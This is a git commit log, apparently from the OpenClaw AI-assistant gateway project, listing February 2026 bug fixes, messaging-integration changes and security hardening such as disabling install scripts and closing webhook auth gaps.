Peter Steinberger
3eb6a31b6f fix: confine sandbox skill sync destinations 2026-02-13 01:24:51 +01:00
Peter Steinberger
113ebfd6a2 fix(security): harden hook and device token auth 2026-02-13 01:23:53 +01:00
Vignesh Natarajan
54513f4240 fix: align cron prompt content with filtered reminder events 2026-02-12 16:14:27 -08:00
Vignesh Natarajan
7a8a57b573 changelog: dedupe signal entry restored by merge conflict fix 2026-02-12 16:14:27 -08:00
Vignesh Natarajan
92334b95d2 changelog: keep signal entry while restoring removed rows 2026-02-12 16:14:27 -08:00
Vignesh Natarajan
22593a2723 fix: refine cron heartbeat event detection 2026-02-12 16:14:27 -08:00
pvtclawn
c12f693c59 feat: embed actual event text in cron prompt
Combines two complementary fixes for ghost reminder bug:

1. Filter HEARTBEAT_OK/exec messages (previous commit)
2. Embed actual event content in prompt (this commit)

Instead of static 'shown above' message, dynamically build prompt
with actual reminder text. Ensures model sees event content directly.

Credit: Approach inspired by @nyx-rymera's analysis in #13317

Fixes #13317
2026-02-12 16:14:27 -08:00
pvtclawn
1c773fcb60 test: fix test isolation and assertion issues
- Add resetSystemEventsForTest() in beforeEach/afterEach
- Fix hardcoded status assertions (use toBeDefined + conditional checks)
- Prevents cross-test pollution of global system event queue

Addresses Greptile feedback on PR #15059
2026-02-12 16:14:27 -08:00
pvtclawn
5beecad8ba test: add test for ghost reminder bug (#13317) 2026-02-12 16:14:27 -08:00
pvtclawn
4f687a7440 fix: prevent ghost reminder notifications (#13317)
The heartbeat runner was incorrectly triggering CRON_EVENT_PROMPT
whenever ANY system events existed during a cron heartbeat, even if
those events were unrelated (e.g., HEARTBEAT_OK acks, exec completions).

This caused phantom 'scheduled reminder' notifications with no actual
reminder content.

Fix: Only treat as cron event if pending events contain actual
cron-related messages, excluding standard heartbeat acks and
exec completion messages.

Fixes #13317
2026-02-12 16:14:27 -08:00
Kyle Tse
2655041f69 fix: wire 9 unwired plugin hooks to core code (openclaw#14882) thanks @shtse8
Verified:
- GitHub CI checks green (non-skipped)

Co-authored-by: shtse8 <8020099+shtse8@users.noreply.github.com>
2026-02-12 18:14:14 -06:00
Vladimir Peshekhonov
957b883082 fix(agents): stabilize overflow compaction retries and session context accounting (openclaw#14102) thanks @vpesh
Verified:
- CI checks for commit 86a7ecb45e
- Rebase conflict resolution for compatibility with latest main

Co-authored-by: vpesh <9496634+vpesh@users.noreply.github.com>
2026-02-12 17:53:13 -06:00
Peter Steinberger
da55d70fb0 fix(security): harden untrusted web tool transcripts 2026-02-13 00:46:56 +01:00
Vignesh Natarajan
4543c401b4 Signal: harden E.164 validation 2026-02-12 15:28:31 -08:00
Vignesh Natarajan
a363e2ca5e Changelog: credit Signal account validation 2026-02-12 15:28:31 -08:00
Vignesh Natarajan
056bda5cb7 Signal: validate account input 2026-02-12 15:23:11 -08:00
Gustavo Madeira Santana
04a1ed5e53 chore: make changelog mandatory in PR skills 2026-02-12 18:08:02 -05:00
Kyle Tse
a10f228a5b fix: update totalTokens after compaction using last-call usage (#15018)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9214291bf7
Co-authored-by: shtse8 <8020099+shtse8@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-12 18:02:30 -05:00
Shadow
033d5b5c15 Changelog: note discord dm reaction fix 2026-02-12 16:47:39 -06:00
Shadow
fb8e6156ec fix: handle discord dm reaction allowlist 2026-02-12 16:47:39 -06:00
Marcus Castro
f8c7ae9b5e fix: use canonical 'direct' instead of 'dm' for DM peer kind (fixes TS2322) 2026-02-12 16:47:39 -06:00
Marcus Castro
ea3fb9570c fix: use proper LoadedConfig type in test mock 2026-02-12 16:47:39 -06:00
Marcus Castro
888f7dbbd8 fix: process Discord DM reactions instead of silently dropping them 2026-02-12 16:47:39 -06:00
Shadow
d9f3d569a2 fix: add Discord channel-edit thread params (#5542) (thanks @stumct) 2026-02-12 16:47:02 -06:00
Shadow
91b96edfc4 fix: document Discord media-only messages (#9507) (thanks @leszekszpunar) 2026-02-12 16:45:50 -06:00
Shadow
61d57be4c2 Discord: preserve media caption whitespace 2026-02-12 16:40:08 -06:00
Vignesh Natarajan
01e4e15364 fix: normalize Signal mentions (#2013) (thanks @alexgleason) 2026-02-12 14:37:55 -08:00
Vignesh Natarajan
d3e43de42b Signal: satisfy lint 2026-02-12 14:37:55 -08:00
Vignesh Natarajan
cfec19df53 Signal: normalize mention placeholders 2026-02-12 14:37:55 -08:00
Alex Gleason
051c574047 fix(signal): replace  with @uuid/@phone from mentions
Related #1926

Signal mentions were appearing as  (object replacement character)
instead of readable identifiers. This caused Clawdbot to misinterpret
messages and respond inappropriately.

Now parses dataMessage.mentions array and replaces the placeholder
character with @{uuid} or @{phone} from the mention metadata.
2026-02-12 14:37:55 -08:00
Web Vijayi
4d0443391c fix: use iterator.done check for LRU eviction
Fixes edge case where empty string key would stop eviction early
2026-02-12 16:31:36 -06:00
Web Vijayi
5882cf2f5d fix(discord): add TTL and LRU eviction to thread starter cache
Fixes #5260

The DISCORD_THREAD_STARTER_CACHE Map was growing unbounded during
long-running gateway sessions, causing memory exhaustion.

This fix adds:
- 5-minute TTL expiry (thread starters rarely change)
- Max 500 entries with LRU eviction
- Same caching pattern used by Slack's thread resolver

The implementation mirrors src/slack/monitor/thread-resolution.ts
which already handles this correctly.
2026-02-12 16:31:36 -06:00
Shadow
149db5b2c2 Discord: handle thread edit params 2026-02-12 16:31:06 -06:00
Kyle Tse
abdceedaf6 fix: respect session model override in agent runtime (#14783) (#14983)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: ec47d1a7bf
Co-authored-by: shtse8 <8020099+shtse8@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-12 17:12:15 -05:00
Gustavo Madeira Santana
c0c34c72bb chore: fix windows CI tests 2026-02-12 16:59:55 -05:00
Gustavo Madeira Santana
a158c46828 Tests: make download temp-path assertion cross-platform 2026-02-12 16:58:59 -05:00
Peter Steinberger
b50640c600 fix(irc): type socket error param 2026-02-12 22:58:42 +01:00
Peter Steinberger
722c010b95 chore(deps): update dependencies 2026-02-12 22:58:42 +01:00
Skyler Miao
cb0350230c feat(minimax): update models from M2.1 to M2.5 (#14865)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 1d58bc5760
Co-authored-by: adao-max <153898832+adao-max@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-12 16:48:46 -05:00
Gustavo Madeira Santana
b02c88d3e7 Browser/Logging: share default openclaw tmp dir resolver 2026-02-12 16:44:04 -05:00
Shadow
4aa035f38f CI: gate auto-response with trigger label 2026-02-12 15:41:16 -06:00
Shadow
978effcf26 CI: close PRs with excessive labels 2026-02-12 15:35:32 -06:00
Shadow
3b6bd202da Scripts: add issue labeler state + PR support 2026-02-12 15:28:12 -06:00
Gustavo Madeira Santana
afbce73570 fix: use os.tmpdir fallback paths for temp files (#14985)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 347c689407
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-12 16:08:41 -05:00
Shadow
282fb9ad52 CI: handle search 422 in labeler 2026-02-12 14:58:25 -06:00
Shadow
47cd7e29ef CI: add labeler backfill dispatch 2026-02-12 14:43:14 -06:00
Joseph Krug
5147656d65 fix: prevent heartbeat scheduler death when runOnce throws (#14901)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 022efbfef9
Co-authored-by: joeykrug <5925937+joeykrug@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-12 15:38:46 -05:00
Shadow
1f41f7b1e6 CI: add contributor tier labels 2026-02-12 14:33:30 -06:00
0xRain
d8d8109711 fix(agents): guard against undefined path in context file entries (#14903)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 25856b863d
Co-authored-by: 0xRaini <190923101+0xRaini@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-12 15:27:56 -05:00
Gustavo Madeira Santana
571a237d5a chore: move local imports to the top 2026-02-12 15:14:29 -05:00
Gustavo Madeira Santana
49188caf94 chore(pr-skills): suppress output for successful commands (pnpm install/build/test/etc) to lower context usage 2026-02-12 15:10:23 -05:00
Gustavo Madeira Santana
1123357c62 chore: refining review PR additional prompts 2026-02-12 14:55:07 -05:00
Gustavo Madeira Santana
a005881fc9 docs(changelog): add Control UI symlink install fix entry
Co-authored-by: aynorica <54416476+aynorica@users.noreply.github.com>
2026-02-12 14:48:25 -05:00
Gustavo Madeira Santana
8d5094e1f4 fix: resolve symlinked argv1 for Control UI asset detection (#14919)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 07b85041dc
Co-authored-by: gumadeiras <116837+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-12 14:45:31 -05:00
fagemx
bdd0c12329 fix(providers): include provider name in billing error messages (#14697)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 774e0b6605
Co-authored-by: fagemx <117356295+fagemx@users.noreply.github.com>
Co-authored-by: shakkernerd <165377636+shakkernerd@users.noreply.github.com>
Reviewed-by: @shakkernerd
2026-02-12 18:23:27 +00:00
Peter Steinberger
5e7842a41d feat(zai): auto-detect endpoint + default glm-5 (#14786)
* feat(zai): auto-detect endpoint + default glm-5

* test: fix Z.AI default endpoint expectation (#14786)

* test: bump embedded runner beforeAll timeout

* chore: update changelog for Z.AI GLM-5 autodetect (#14786)

* chore: resolve changelog merge conflict with main (#14786)

* chore: append changelog note for #14786 without merge conflict

* chore: sync changelog with main to resolve merge conflict
2026-02-12 19:16:04 +01:00
Peter Steinberger
2b5df1dfea fix: local-time timestamps include offset (#14771) (thanks @0xRaini) 2026-02-12 19:09:20 +01:00
Elonito
468414cac4 fix: use local timezone in console log timestamps
formatConsoleTimestamp previously used Date.toISOString() which always
returns UTC time (suffixed with Z). This confused users whose local
timezone differs from UTC.

Now uses local time methods (getHours, getMinutes, etc.) and appends the
local UTC offset (e.g. +08:00) instead of Z. The pretty style returns
local HH:MM:SS. The hasTimestampPrefix regex is updated to accept both
Z and +/-HH:MM offset suffixes.

Closes #14699
2026-02-12 19:08:52 +01:00
0xRain
af172742a3 fix(feishu): use msg_type 'media' for video/audio messages (#14648)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: e8044cb208
Co-authored-by: 0xRaini <190923101+0xRaini@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-12 19:05:09 +01:00
Peter Steinberger
069670388e perf(test): speed up test runs and harden temp cleanup 2026-02-12 17:59:52 +00:00
Yi Liu
d3aee84499 fix(security): add --ignore-scripts to skills install commands (#14659)
Skills install runs package manager install commands (npm, pnpm, yarn,
bun) without --ignore-scripts, allowing malicious npm packages to
execute arbitrary code via postinstall/preinstall lifecycle scripts
during global installation.

This is inconsistent with the security fix in commit 92702af7a which
added --ignore-scripts to both plugin installs (src/plugins/install.ts)
and hook installs (src/hooks/install.ts). Skills install was overlooked
in that change.

Global install (-g) is particularly dangerous as scripts execute with
the user's full permissions and can modify globally-accessible binaries.
2026-02-13 02:56:35 +09:00
Tyler
4c86010b06 fix: remove bundled soul-evil hook (closes #8776) (#14757)
* fix: remove bundled soul-evil hook (closes #8776)

* fix: remove soul-evil docs (#14757) (thanks @Imccccc)

---------

Co-authored-by: OpenClaw Bot <bot@openclaw.ai>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-12 18:52:09 +01:00
0xRain
971ac0886b fix(cli): guard against read-only process.noDeprecation on Node.js v23+ (#14152)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 11bb9f141a
Co-authored-by: 0xRaini <190923101+0xRaini@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-12 18:30:14 +01:00
Peter Steinberger
7695b4842b chore: bump version to 2026.2.12 2026-02-12 18:20:46 +01:00
Peter Steinberger
d25e96637c test(agents): make grok api key test hermetic 2026-02-12 17:17:02 +00:00
Peter Steinberger
b8a5f94f25 refactor(test): consolidate infra unit tests 2026-02-12 17:16:42 +00:00
Peter Steinberger
8fce7dc9b6 perf(test): add vitest slowest report artifact 2026-02-12 17:16:42 +00:00
Peter Steinberger
9f507112b5 perf(test): speed up vitest by skipping plugins + LLM slug 2026-02-12 17:15:43 +00:00
0xRain
626a1d0699 fix(gateway): increase WebSocket max payload to 5 MB for image uploads (#14486)
* fix(gateway): increase WebSocket max payload to 5 MB for image uploads

The 512 KB limit was too small for base64-encoded images — a 400 KB
image becomes ~532 KB after encoding, exceeding the limit and closing
the connection with code 1006.

Bump MAX_PAYLOAD_BYTES to 5 MB and MAX_BUFFERED_BYTES to 8 MB to
support standard image uploads via webchat.

Closes #14400

* fix: align gateway WS limits with 5MB image uploads (#14486) (thanks @0xRaini)

* docs: fix changelog conflict for #14486

---------

Co-authored-by: 0xRaini <0xRaini@users.noreply.github.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-12 17:48:49 +01:00
Jake
a2ddcdadeb fix: fix: transcribe audio before mention check in groups with requireMention (openclaw#9973) thanks @mcinteerj
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: mcinteerj <3613653+mcinteerj@users.noreply.github.com>
2026-02-12 09:58:01 -06:00
danielwanwx
a5ab9fac0c fix(tts): strip markdown before sending text to TTS engines (#13237)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 163c68539f
Co-authored-by: danielwanwx <144515713+danielwanwx@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-12 10:46:57 -05:00
Jake
4736fe7fde fix: fix(boot): use ephemeral session per boot to prevent stale context (openclaw#11764) thanks @mcinteerj
Verified:
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: mcinteerj <3613653+mcinteerj@users.noreply.github.com>
2026-02-12 09:41:43 -06:00
Jake
6b1f485ce8 fix(telegram): add retry logic to health probe (openclaw#7405) thanks @mcinteerj
Verified:
- CI=true pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: mcinteerj <3613653+mcinteerj@users.noreply.github.com>
2026-02-12 09:11:35 -06:00
Tak Hoffman
5554fd23cc AGENTS.md: make PR_WORKFLOW optional (don’t override maintainer workflows) 2026-02-12 08:43:06 -06:00
Sebastian
d31caa81ef fix(runtime): guard cleanup and preserve skipped cron jobs 2026-02-12 09:28:47 -05:00
0xRain
4f329f923c fix(agents): narrow billing error 402 regex to avoid false positives on issue IDs (#13827)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b0501bbab7
Co-authored-by: 0xRaini <190923101+0xRaini@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-12 09:18:06 -05:00
Tak Hoffman
6a12d83450 changelog: add missing fix entries 2026-02-12 08:10:23 -06:00
Akari
455bc1ebba fix: use last API call's cache tokens for context-size display (#13698) (#13805)
The UsageAccumulator sums cacheRead/cacheWrite across all API calls
within a single turn. With Anthropic prompt caching, each call reports
cacheRead ≈ current_context_size, so after N tool-call round-trips the
accumulated total becomes N × actual_context, which gets clamped to
contextWindow (200k) by deriveSessionTotalTokens().

Fix: track the most recent API call's cache fields separately and use
them in toNormalizedUsage() for context-size reporting. This makes
/status Context display accurate while preserving accumulated output
token counts.

Fixes #13698
Fixes #13782

Co-authored-by: akari-musubi <259925157+akari-musubi@users.noreply.github.com>
2026-02-12 08:01:36 -06:00
Kyle Chen
4c350bc4c8 Fix: Prevent file descriptor leaks in child process cleanup (#13565)
* fix: prevent FD leaks in child process cleanup

- Destroy stdio streams (stdin/stdout/stderr) after process exit
- Remove event listeners to prevent memory leaks
- Clean up child process reference in moveToFinished()
- Also fixes model override handling in agent.ts

Fixes EBADF errors caused by accumulating file descriptors
from sub-agent spawns.

* Fix: allow stdin destroy in process registry cleanup

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 08:01:33 -06:00
jg-noncelogic
6f74786384 fix(antigravity): opus 4.6 forward-compat model + thinking signature sanitization bypass (#14218)
Two fixes for Google Antigravity (Cloud Code Assist) reliability:

1. Forward-compat model fallback: pi-ai's model registry doesn't include
   claude-opus-4-6-thinking. Add resolveAntigravityOpus46ForwardCompatModel()
   that clones the opus-4-5 template so the correct api ("google-gemini-cli")
   and baseUrl are preserved. Fixes #13765.

2. Fix thinking.signature rejection: The API returns Claude thinking blocks
   without signatures, then rejects them on replay. The existing sanitizer
   strips unsigned blocks, but the orphaned-user-message path in attempt.ts
   bypassed it by reading directly from disk. Now applies
   sanitizeAntigravityThinkingBlocks at that code path.

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-12 08:01:28 -06:00
Taras Lukavyi
d85150357f feat: support .agents/skills/ directory for cross-agent skill discovery (#9966)
Adds loading from two .agents/skills/ locations:
- ~/.agents/skills/ (personal/user-level, source "agents-skills-personal")
- {workspace}/.agents/skills/ (project-level, source "agents-skills-project")

Precedence: extra < bundled < managed < personal .agents/skills < project .agents/skills < workspace.

Closes #8822
2026-02-12 07:56:19 -06:00
taw0002
dcb921944a fix: prevent double compaction caused by cache-ttl entry bypassing guard (#13514)
Move appendCacheTtlTimestamp() to after prompt + compaction retry
completes instead of before. The previous placement inserted a custom
entry (openclaw.cache-ttl) between compaction and the next prompt,
which broke pi-coding-agent's prepareCompaction() guard — the guard
only checks if the last entry is type 'compaction', and the cache-ttl
custom entry made it type 'custom', allowing an immediate second
compaction at very low token counts (e.g. 5,545 tokens) that nuked
all preserved context.

Fixes #9282
Relates to #12170
2026-02-12 07:55:32 -06:00
0xRain
21d7203fa9 fix(daemon): suppress EPIPE error in restartLaunchAgent stdout write (#14343)
After a successful launchctl kickstart, the stdout.write() for the
status message may fail with EPIPE if the receiving end has already
closed. Catch and ignore EPIPE specifically; re-throw other errors.

Closes #14234

Co-authored-by: Echo Ito <echoito@MacBook-Air.local>
2026-02-12 07:55:29 -06:00
brandonwise
7f6f7f598c fix: ignore meta field changes in config file watcher (#13460)
Prevents infinite restart loop when gateway updates meta.lastTouchedAt
and meta.lastTouchedVersion on startup.

Fixes #13458
2026-02-12 07:55:26 -06:00
Coy Geek
647d929c9d fix: Unauthenticated Nostr profile API allows remote config tampering (#13719)
* fix(an-07): apply security fix

Generated by staged fix workflow.

* fix(an-07): apply security fix

Generated by staged fix workflow.

* fix(an-07): satisfy lint in plugin auth regression test

Replace unsafe unknown-to-string coercion in the gateway plugin auth test helper with explicit string/null/JSON handling so pnpm check passes.
2026-02-12 07:55:22 -06:00
0xRain
acb9cbb898 fix(gateway): drain active turns before restart to prevent message loss (#13931)
* fix(gateway): drain active turns before restart to prevent message loss

On SIGUSR1 restart, the gateway now waits up to 30s for in-flight agent
turns to complete before tearing down the server. This prevents buffered
messages from being dropped when config.patch or update triggers a restart
while agents are mid-turn.

Changes:
- command-queue.ts: add getActiveTaskCount() and waitForActiveTasks()
  helpers to track and wait on active lane tasks
- run-loop.ts: on restart signal, drain active tasks before server.close()
  with a 30s timeout; extend force-exit timer accordingly
- command-queue.test.ts: update imports for new exports

Fixes #13883

* fix(queue): snapshot active tasks for restart drain

---------

Co-authored-by: Elonito <0xRaini@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 07:55:19 -06:00
niceysam
f7e05d0136 fix: exclude maxTokens from config redaction + honor deleteAfterRun on skipped cron jobs (#13342)
* fix: exclude maxTokens and token-count fields from config redaction

The /token/i regex in SENSITIVE_KEY_PATTERNS falsely matched fields like
maxTokens, maxOutputTokens, maxCompletionTokens etc. These are numeric
config fields for token counts, not sensitive credentials.

Added a whitelist (SENSITIVE_KEY_WHITELIST) that explicitly excludes
known token-count field names from redaction. This prevents config
corruption when maxTokens gets replaced with __OPENCLAW_REDACTED__
during config round-trips.

Fixes #13236

* fix: honor deleteAfterRun for one-shot 'at' jobs with 'skipped' status

Previously, deleteAfterRun only triggered when result.status was 'ok'.
For one-shot 'at' jobs, a 'skipped' status (e.g. empty heartbeat file)
would leave the job in state but disabled, never getting cleaned up.

Now deleteAfterRun also triggers on 'skipped' status for 'at' jobs,
since a skipped one-shot job has no meaningful retry path.

Fixes #13249

* Cron: format timer.ts

---------

Co-authored-by: nice03 <niceyslee@gmail.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 07:55:05 -06:00
mcwigglesmcgee
f8cad44cd6 fix(voice-call): pass Twilio stream auth token via <Parameter> instead of query string (#14029)
Twilio strips query parameters from WebSocket URLs in <Stream> TwiML,
so the auth token set via ?token=xxx never arrives on the WebSocket
connection. This causes stream rejection when token validation is enabled.

Fix: pass the token as a <Parameter> element inside <Stream>, which
Twilio delivers in the start message's customParameters field. The
media stream handler now extracts the token from customParameters,
falling back to query string for backwards compatibility.

Co-authored-by: McWiggles <mcwigglesmcgee@users.noreply.github.com>
2026-02-12 07:55:00 -06:00
asklee-klawd
f8c91b3c5f fix: prevent undefined token in gateway auth config (#13809)
- Guard against undefined/empty token in buildGatewayAuthConfig
- Automatically generate random token when token param is undefined, empty, or whitespace
- Prevents JSON.stringify from writing literal string "undefined" to config
- Add tests for undefined, empty, and whitespace token cases

Fixes #13756

Co-authored-by: Klawd Asklee <klawdebot@gmail.com>
2026-02-12 07:45:38 -06:00
Keshav Rao
2ef4ac08cf fix(gateway): handle async EPIPE on stdout/stderr during shutdown (#13414)
* fix(gateway): handle async EPIPE on stdout/stderr during shutdown

The console capture forward() wrapper catches synchronous EPIPE errors,
but when the receiving pipe closes during shutdown Node emits the error
asynchronously on the stream. Without a listener this becomes an
uncaught exception that crashes the gateway, causing macOS launchd to
permanently unload the service.

Add error listeners on process.stdout and process.stderr inside
enableConsoleCapture() that silently swallow EPIPE/EIO (matching the
existing isEpipeError helper) and re-throw anything else.

Closes #13367

* guard stream error listeners against repeated enableConsoleCapture() calls

Use a separate streamErrorHandlersInstalled flag in loggingState so that
test resets of consolePatched don't cause listener accumulation on
process.stdout/stderr.
2026-02-12 07:45:36 -06:00
0xRain
94bc62ad46 fix(media): strip MEDIA: lines with local paths instead of leaking as text (#14399)
When internal tools (e.g. TTS) emit MEDIA:/tmp/... with absolute paths,
isValidMedia() correctly rejects them for security. However, the rejected
MEDIA: line was kept as visible text in the output, leaking the path to
the user.

Now strip MEDIA: lines that look like local paths even when the path
is invalid, so they never appear as user-visible text.

Closes #14365

Co-authored-by: Echo Ito <echoito@MacBook-Air.local>
2026-02-12 07:45:22 -06:00
Cathryn Lavery
94d6858160 fix(gateway): auto-generate token during gateway install to prevent launchd restart loop (#13813)
When the gateway is installed as a macOS launch agent and no token is
configured, the service enters an infinite restart loop because launchd
does not inherit shell environment variables. Auto-generate a token
during `gateway install` when auth mode is `token` and no token exists,
matching the existing pattern in doctor.ts and configure.gateway.ts.

The token is persisted to the config file and embedded in the plist
EnvironmentVariables for belt-and-suspenders reliability.

Relates-to: #5103, #2433, #1690, #7749
2026-02-12 07:45:09 -06:00
Coy Geek
f836c385ff fix: BlueBubbles webhook auth bypass via loopback proxy trust (#13787)
* fix(an-08): apply security fix

Generated by staged fix workflow.

* fix(an-08): apply security fix

Generated by staged fix workflow.

* fix(an-08): stabilize bluebubbles auth fixture for security patch

Restore the default test password in createMockAccount and add a
fallback password query in createMockRequest when auth is omitted.

This keeps the AN-08 loopback-auth regression tests strict while
preserving existing monitor behavior tests that assume authenticated
webhook fixtures.
2026-02-12 07:12:17 -06:00
大猫子
8dd60fc7d9 feat(telegram): render blockquotes as native <blockquote> tags (#14608) (#14626)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 4a967c51f5
Co-authored-by: lailoo <20536249+lailoo@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-12 08:11:57 -05:00
Tomsun28
540996f10f feat(provider): Z.AI endpoints + model catalog (#13456) (thanks @tomsun28) (#13456)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 07:01:48 -06:00
vignesh07
b094491cf5 fix(config): restore schema.ts schema helper types after hints refactor 2026-02-12 01:19:46 -08:00
vignesh07
fa427f63b8 refactor(config): restore schema.ts to use schema.hints 2026-02-12 01:19:46 -08:00
0xRain
d8016c30cd fix: add types condition to plugin-sdk export for moduleResolution NodeNext (#14485)
Co-authored-by: 0xRaini <0xRaini@users.noreply.github.com>
2026-02-12 17:31:48 +09:00
hyf0-agent
5c32989f53 perf: use JSON.parse instead of JSON5.parse for sessions.json (~35x faster) (#14530)
Co-authored-by: hyf0-agent <hyf0-agent@users.noreply.github.com>
2026-02-12 17:10:21 +09:00
Tak Hoffman
16f2492547 changelog: add telegram reaction warning fix entry 2026-02-12 00:30:39 -06:00
0xRain
4b86c9e555 fix(telegram): surface REACTION_INVALID as non-fatal warning (#14340)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 00:28:47 -06:00
Tak Hoffman
4094cef233 changelog: add telegram and slack fix entries 2026-02-12 00:14:31 -06:00
J. Brandon Johnson
472808a207 fix(tests): update thread ID handling in Slack message collection tests (#14108)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 00:13:15 -06:00
NM
3696b15abc fix(slack): change default replyToMode from "off" to "all" (#14364)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 00:13:07 -06:00
0xRain
bbfaac88ff fix(telegram): handle no-text message in model picker editMessageText (#14397)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 00:12:46 -06:00
Tak Hoffman
338bc90f82 changelog: add cron and whatsapp fix entries with contributor thanks 2026-02-11 23:44:56 -06:00
WalterSumbon
39e3d58fe1 fix: prevent cron jobs from skipping execution when nextRunAtMs advances (#14068)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-11 23:33:22 -06:00
大猫子
a88ea42ec7 fix(cron): prevent one-shot at jobs from re-firing on restart after skip/error (#13845) (#13878)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-11 23:33:15 -06:00
0xRain
b0dfb83952 fix(cron): use requested agentId for isolated job auth resolution (#13983)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-11 23:32:45 -06:00
Karim Naguib
7a0591ef87 fix(whatsapp): allow media-only sends and normalize leading blank payloads (#14408)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-11 23:21:21 -06:00
Marcus Castro
186dc0363f fix: default MIME type for WhatsApp voice messages when Baileys omits it (#14444) 2026-02-11 23:09:09 -06:00
Ajay Rajnikanth
e24d023080 fix(whatsapp): convert Markdown bold/strikethrough to WhatsApp formatting (#14285)
* fix(whatsapp): convert Markdown bold/strikethrough to WhatsApp formatting

* refactor: Move `escapeRegExp` utility function to `utils.js`.

---------

Co-authored-by: Luna AI <luna@coredirection.ai>
2026-02-11 23:09:02 -06:00
Tak Hoffman
2e03131712 chore: add feishu contributor thanks to changelog (openclaw#14448)
Co-authored-by: zhiyi <7426274+youngerstyle@users.noreply.github.com>
Co-authored-by: 王春跃 <80630709+openperf@users.noreply.github.com>
Co-authored-by: Wei Wang <1019875+onevcat@users.noreply.github.com>
Co-authored-by: Cynosure159 <29699738+Cynosure159@users.noreply.github.com>
Co-authored-by: jack-cooper <10961327+jackcooper2015@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-11 22:53:40 -06:00
Tak Hoffman
18610a587d chore: refresh lockfile after feishu dep removal (openclaw#14423) thanks @jackcooper2015
Co-authored-by: jack-cooper <10961327+jackcooper2015@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-11 22:53:40 -06:00
Tak Hoffman
7ca8d936d5 fix: remove workspace dev dependency in feishu plugin (openclaw#14423) thanks @jackcooper2015
Co-authored-by: jack-cooper <10961327+jackcooper2015@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-11 22:53:40 -06:00
Tak Hoffman
cf6e8e18d2 fix: preserve top-level feishu doc block order (openclaw#13994) thanks @Cynosure159
Co-authored-by: Cynosure159 <29699738+Cynosure159@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-11 22:53:40 -06:00
Tak Hoffman
a028c0512c fix: use resolved feishu account in status probe (openclaw#11233) thanks @onevcat
Co-authored-by: Wei Wang <1019875+onevcat@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-11 22:53:40 -06:00
Tak Hoffman
3d771afe79 fix: tighten feishu mention trigger matching (openclaw#11088) thanks @openperf
